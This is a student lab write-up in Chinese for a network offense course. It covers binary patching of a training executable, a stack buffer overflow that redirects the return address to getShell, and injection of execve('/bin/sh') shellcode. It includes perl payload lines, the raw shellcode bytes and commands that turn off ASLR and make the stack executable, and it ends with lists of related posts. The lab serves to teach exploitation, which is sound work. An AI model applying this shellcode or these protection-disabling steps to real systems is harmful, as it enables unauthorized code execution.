2018-2019-2 网络对抗技术 20165303 Exp1 PC平台逆向破解(BOF实验)
1.实践目的
本次实践的对象是一个名为pwn1的linux可执行文件。
三个实践内容如下:
- 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
- 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
注入一个自己制作的shellcode并运行这段shellcode。
目的如下
- 运行原本不可访问的代码片段
- 强行修改程序执行流
以及注入运行任意代码。
老师的问题
掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
- NOP:90
- JNE:75
- JE:74
- JMP:E9 EA EB
CMP:38(CMP reg8/mem8,reg8)39(CMP reg16/mem16,reg16)3A(CMP reg8,reg8/mem8)3B(CMP reg16,reg16/mem16)3C(CMP al,immed8)3D(CMP ax,immed16)
- 什么是漏洞?
我认为漏洞就是在设计上因为逻辑问题而出现的不应该出现的错误,或者说是因为编程的时候考虑不周全而出现的错误,再有就是可能因为硬件问题而导致的固有的一些问题,比如说32位机器和64位机器所导致的一些不可避免的问题,漏洞的危害当然就是导致一些程序出错,或者说导致泄密和获取不应该获取的权限。 实验收获与感想
本次实验让我充分了解了缓冲器溢出的原理与危害以及如何制造缓冲区溢出攻击,通过自己的亲自动手操作,深刻理解了直接修改程序机器指令从而达到自己想要的目的的过程,通过不合法的输入从而导致了修改函数的返回地址,从未执行另一个程序。shenllcode注入的目的就是使返回地址指向shellcode,从而造成攻击
2.实验一
遇到的问题
首先我们要做的就是获取pwn1文件,从老师那里经过拷贝,然后发现无法复制粘贴进入kali虚拟机,然后网上查资料发现是VMware虚拟机的tools安装的与kali不匹配,kali是最新的安装包,但是VMware tools是旧版,所以就需要先卸载旧版,然后在网上找教程,官方建议是安装open-vm-tools-desktop来代替其跟物理机交互。 如果之前不小心安装了vmware-tools,可以输入vmware-uninstall-tools.pl回车即可删除vmware-tools。 在有官方的更新源下,使用下面命令安装open-vm-tools-desktop 先输入apt-get install open-vm-tools-desktop fuse然后输入reboot即可完成安装,就可以复制粘贴了
1.首先把这个文件权限提高,使用
chmod +x pwn1变成可执行2.使用
objdump -d pwn1,反汇编pwn1文件

看80484b5: e8 d7 ff ff ff call 8048491 <foo>这条指令调用08048491处的foo函数
如果想让函数调用getShell,只需要修改d7 ff ff ff即可。根据foo函数与getShell地址的偏移量,计算地址
0x08048491 - 0x0804847d = 0x00000014 //计算地址差
0xffffffd7 - 0x00000014 = 0xffffffc3 //计算要篡改的目标地址
使用vi编辑文件,进去之后是乱码,然后使用:%!xxd转换为16进制找到d7

然后修改为c3

在使用:%!xxd -r换回乱码。保存之后退出

看到已经成功保存了
执行程序pwn1获得结果

自此实验一成功。
3.实验二
通过构造输入参数,造成BOF攻击,改变程序执行流
通过不合法的输入造成把函数的返回地址进行修改使程序执行其他的代码
先使用gdb进行调试程序,先运行程序,然后输入一大串字符abcdefghijklmnopqrstuvwxyz1234567890
得到一个结果
发生段错误,得到一个错误的返回地址0x30393837
因为我们的是小端机器,所以说明是后面四位发生了溢出,那么我们如果想要让他跳转到其他地方就需要修改后四位地址
那我们只需要把最后四位写为\xd7\x84\x04\x08(即shellcode的起始地址0x080484d7)就OK了
使用:perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input管道命令
然后就攻击成功了
4.实验三
shellcode就是一段机器指令(code)
通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),
所以这段机器指令被称为shellcode。
在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。
开始之前首先要设置堆栈可执行
execstack -s pwn1 //设置堆栈可执行
execstack -q pwn1 //查询文件的堆栈是否可执行
若不能成功则使用apt-get install execstack进行更新
然后查询一下是否可执行若为X pwn1则为可执行
然后我们还需要关闭地址随机化
使用echo "0" > /proc/sys/kernel/randomize_va_space即可关闭,否则每次执行esp的值都会发生变化
然后构造一个构造一个input_shellcode
perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
一个窗口运行(cat input_shellcode;cat) | ./pwn1
另一个窗口运行ps -ef | grep pwn可以查看到当前进程号
然后在gdb里面attach 进程号

(gdb) disassemble foo反编译查看地址

得到0xffffd2ac
计算d2ac+0004为d2b0
然后修改input_shellcode
最终攻击成功
2018-2019-2 网络对抗技术 20165303 Exp1 PC平台逆向破解(BOF实验)的更多相关文章
- 20165221 《网络对抗技术》EXP1 PC平台逆向破解
20165221 <网络对抗技术>EXP1 PC平台逆向破解 一.实验内容 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函 ...
- 2018-2019-2 20165205 《网络对抗技术》 Exp1 PC平台逆向破解
2018-2019-2 20165205 <网络对抗技术> Exp1 PC平台逆向破解 1. 实验任务 1.1实验概括 用一个pwn1文件. 该程序正常执行流程是:main调用foo函数, ...
- 2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解
2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解(BOF实验) 实验有三个模块: (一)直接修改程序机器指令,改变程序执行流程: (二)通过构造输入参数,造成BOF攻 ...
- 2018-2019-2 20165206《网络对抗技术》Exp1 PC平台逆向破解
- 2018-2019-2 20165206<网络对抗技术>Exp1 PC平台逆向破解 - 实验任务 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:mai ...
- 2018-2019-2 20165317《网络对抗技术》Exp1 PC平台逆向破解
2018-2019-2 20165317<网络对抗技术>Exp1 PC平台逆向破解 实验目的 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码 NOP:无作用,英文&quo ...
- 2018-2019-2 网络对抗技术 20165336 Exp1 PC平台逆向破解
2018-2019-2 网络对抗技术 20165336 Exp1 PC平台逆向破解 1. 逆向及Bof基础实践说明 1.1 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件.该程序正常 ...
- 2018-2019-2 网络对抗技术 20165305 Exp1 PC平台逆向破解
2018-2019-2 网络对抗技术 20165305 Exp1 PC平台逆向破解 实验1-1直接修改程序机器指令,改变程序执行流程 先输入objdump -d 20165305pwn2查看反汇编代码 ...
- 2018-2019-2 《网络对抗技术》 Exp1 PC平台逆向破解 20165215
2018-2019-2 <网络对抗技术> Exp1 PC平台逆向破解 20165215 目录 知识点描述 实验步骤 (一)直接修改程序机器指令,改变程序执行流程 (二)通过构造输入参数,造 ...
- 2018-2019-2 20165316 《网络对抗技术》Exp1 PC平台逆向破解
2018-2019-2 20165316 <网络对抗技术>Exp1 PC平台逆向破解 1 逆向及Bof基础实践说明 1.1 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件 ...
随机推荐
- 北京大学Cousera学习笔记--5-计算导论与C语言基础--计算机的基本原理-设计程序
只要你认真的思考,你就会发现这个世界是如此的简单,正如我们想象的一样,正因为如此,我们的思考才更加的有价值 1.单词:关键字(有特定含义的):其他词用关键字定义出来 2.数和计算符号:数据类型+运算符 ...
- 【Linux】Jenkins安装(一)
摘要 本章介绍Jenkins的简单使用,关于Jenkins的安装,参照[Linux]Jenkins安装(一) 事例说明:在linux环境下,安装的jenkins,集成svn,tomcat的环境,项目是 ...
- activeMQ (一)
1.安装activeMQ,直接解压,启动2.访问localhost:8161/admin/ 用户名密码都是admin 3.点对点消息传递域,每个消息只能一个消费者,消息的生产者与消费者之间没有 时间上 ...
- IT题库6-同步和异步
同步就是许多线程同时共用一个资源,一个线程在用别的线程就要等待.异步相反,可以不用等待. 同步:发送一个请求,等待返回,然后才能再发送下一个请求:异步:发送一个请求,不等待返回,随时可以再发送下一个请 ...
- Angular4中使用后台去数据,Swiper不能滑动的解决方法(一)
Swiper是目前较为流行的移动端触摸滑动插件,因为其简单好用易上手,很受很多设计师的欢迎. 今天在使用Swiper的时候遇到这个问题: 使用angularjs动态循环生成swiper-slide ...
- liunx驱动----构造和运行模块
以hello world模块为例 #include <linux/init.h> #include <linux/module.h> //在执行 insmod hlello 的 ...
- 问题 1923: [蓝桥杯][算法提高VIP]学霸的迷宫 (BFS)
题目链接:https://www.dotcpp.com/oj/problem1923.html 题目描述 学霸抢走了大家的作业,班长为了帮同学们找回作业,决定去找学霸决斗.但学霸为了不要别人打扰,住在 ...
- cnetos7设置中文显示及中文输入法
Centos7安装的时候即使选择了中文安装,因为安装后并没有GUI,即使后来安装GUI后默认依旧是英文显示. 输入locale后显示的是 永久修改成中文:编辑/etc/profile.d/lang.s ...
- .NET 常用ORM之NHibernate
NHibernate做.Net应该都不陌生,今天我们就算是温故下这个技术,概念性的东西就不说了,这次主要说本人在实际使用的遇到的问题,比较费解现在就当是记录下,避免以后再犯.本次主要使用的情况是1对N ...
- react-native 导航器 react-navigation 3.x 使用
React-navigation 介绍 React Navigation 源于 React Native 社区对一个可扩展且易于使用的导航解决方案的需求,它完全使用 JavaScript 编写. (如 ...